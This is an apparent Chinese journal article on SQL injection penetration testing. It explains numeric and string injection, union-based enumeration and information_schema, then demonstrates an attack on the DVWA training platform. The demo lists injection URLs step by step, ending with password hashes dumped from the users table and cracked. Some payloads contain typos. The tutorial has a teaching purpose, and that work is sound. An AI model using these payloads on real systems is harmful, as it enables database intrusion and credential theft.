APP下载

基于SQL注入漏洞的渗透测试技术研究

2018-04-15中兴通讯股份有限公司张晓翠

电子世界 2018年14期
关键词:字段字符攻击者

中兴通讯股份有限公司 张晓翠

一、前言

随着网络发展迅速,网络覆盖了人民生活的方方面面,个人及企业信息泄露事件频频发生,造成人身财产安隐患,由此引入的渗测试越来来越受到网络维护人员的重视,在web漏洞中,SQL注入漏洞一直处于高泄露率,需要渗透测试人员在产品研发阶段发现漏洞,并提交漏洞报告协助开发人员规避漏洞。

二、SQL注入漏洞简介

SQL全称是结构化查询语言,SQL注入是一种将恶意的SQL代码插入或添加到应用的输入参数的攻击,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙的构造SQL语句,获取到数据库中的涉密信息,甚至对数据库系统的内容进行直接检索或修改。

凡是与数库交互的位置都有可能产生SQL注入漏洞,数据库分为很多种,有 oracle、 MYSQL、SQL Serve、DB2等,操作数据库的语言即SQL语句,如果攻击者能够对与服务器交互的SQL语句进行修改,服务端没有进行应有的过虑、校验等,那么就造成了SQL注入漏洞,使攻击者能获得某些敏感信息。

三、SQL注入漏洞类型及挖掘方法

SQL注入漏洞可以分为如下两种:数字型和字符型。

1.数字型SQL注入漏洞

当输入的参数为整形时,如果存在SQL注入漏洞,则可以认为是数字型注入。例如SQL语句:Select * from tablename where id=1;那么语句 Select * from tablename where id=1 and 1=2应该是语句执行成功,但是查询结果为空,因为1=2始终为假。而语句 Selcet *from tablename where id=1 and 1=1应该是语句执行成功,且查询结果与原语句一致。

通过构造如上的输入参数来判定是否存在数字型SQL注入漏洞。

2.字符型SQL注入漏洞

当输入的参数为字符型时,如果存在SQL注入漏洞,则可以认为是字符型注入。例如SQL语句:Select * from tablename where username=’admin’;那么语句 Select * from tablename where username=’admin’ and 1=2应该是语句执行成功,但是查询结果为空,因为1=2始终为假。而语句 Select * from tablename where username=’admin’ and 1=1应该是语句执行成功,且查询结果与原语句一致。

通过构造如上的输入参数来判定是否存在字符型SQL注入漏洞,注意对于字符型注入,通常都需要闭合字符串,需要注释掉多余的代码。

四、SQL注入漏洞利用

发现SQL注入漏洞后,可以利用SQL标准,查询数据库的敏感信息,常用语句如下:

1.order by语句,Select columnname1, columname2 from tablename where username=’admin’ order by paramindex,其中参数的序号,当注入的 paramindex超出查询参数个数,则会返回失败。

2.union select语句,联合查询语句要求 union内部的 select语句查询的列数必须一致,同时每条 select语句中列的顺序必须相同。由此我们可以用来猜测字段数,及查询哪些字段可以用来暴敏感数据。

3.information_schema,在SQL注入中要获取表格信息常用到这个数据库视图,类似与数据字典,提供了访间数据库元数据的方式,如数据库名或表名,列类型,访问权限等。其中常用的是informat ion _schema.tables和information_schema.columns。

五、SQL注入攻击流程

1.发现注入漏洞;2.猜测字段数;3.査询数据库版本、当前用户、系统用户;4.获取数据库名;5.获取数据库表格,发现敏感表格;6.针对敏感表格数据进行原数据暴露。

六、SQL注入漏洞实战讲解

通过对于dvwa平台的SQL注入漏洞进行攻击演示。搭建dvwa漏洞平台,进入SQL注入漏洞练习页面。

1.发现SQL注入漏洞:http://xxx/vulnerabilities/sqli/?id=1and1=2&Submit=Submit#;

2.猜测字段数:

使用 order by方法:http://xxx/vulnerabilities/sqli/?id=1’ order by 2--+&Submit=Submit#;或者使用 union select方法:http://xxx/vulnerabilities/sqli/?id=1’ unionselect1, 2-- -&Submit= Submit#;发现字段数为2;

3.查询数据库版本,系统用户,当前用户:

http://xxx/vulnerabilities/sqli/?id=1’ unionselect version(),system_user()-- -&Submit =Submit#;

http://xxx/vulnerabilities/sqli/?id=1’ unionselect version(),current_user()-- -&Submit =Submit#;

发现数据库版本为5.5.36-log;系统用户为root@localhost;当前用户为root@localhost;

4.获取数据库名长度:http://xxx/vulnerabilities/sq1i/?id=1’union select1, length(database())-- -&Submit=Submit#;获取到数据库名长度为4。

5.获取数据库名称:http://xxx/vulnerabilities/sq1i/?id=1’ union select1, substring(database(),1,4)-- -&Submit=Submit#;对于有些对输入参数进行了限制,可以使用 ascii函数来分别获取每个字节:

http://xxx/vulnerabilities/sq1i/?id=1’ union select ascii(substring(database(),1,1)), ascii(substring(database(),2,1))-- -&Submit=Submit#;

http://xxx/vulnerabilities/sq1i/?id=1’ union select ascii(substring(database(),3,1)), ascii(substring(database(),4,1))-- -&Submit=Submit#;

获取到ascii值第一位的是100,第二位是118,第三位是119,第四位是97;换算后为:dvwa。

6.获取数据库表格http://xxx/vulnerabilities/sqli/?id=1’ unionselect length(table_name), (table_name)frominformation_schema.tableswhere table_schema=database()-- -&Submit=Submit#;

从表格名称发现可用敏感表格user;

7.获取表格user的列名称:

http://xxx/vulnerabilities/sqli/?id=1’ unionselect length(column_name),(column_name) from information_schema.column where table_schema=database() and table_name=’users’;-- --&Submit=Submit#;或者避免开双引号可能引起语句闭合的影响,用十六进制来表示user:http://xxx/vulnerabilities/sqli/?id=1’unionselect length(column_name),(column_name) from information_schema.column where table_schema=database() and table_name=0x7573657273-- - -&Submit=Submit#;发现关键字password;

8.获取密码 :

http://xxx/vulnerabilities/sqli/?id=1’ unionselect first_name,password form users -- -&Submit#;观察密码是32位,猜测是md5加加密,用md5破解网址破解密码。最终完成获取5个用户密码,获得了用户敏感信息。

七、总结

本文通过对SQL注入漏洞类型及原理的讲解,并对dvwa平台进行SQL注入漏洞攻击演示,对SQL注入漏洞渗透测试有指导意义。

猜你喜欢

字段字符攻击者
图书馆中文图书编目外包数据质量控制分析
基于微分博弈的追逃问题最优策略设计
字符代表几
一种USB接口字符液晶控制器设计
HBM电子称与西门子S7-200系列PLC自由口通讯
消失的殖民村庄和神秘字符
正面迎接批判
有限次重复博弈下的网络攻击行为研究
CNMARC304字段和314字段责任附注方式解析
无正题名文献著录方法评述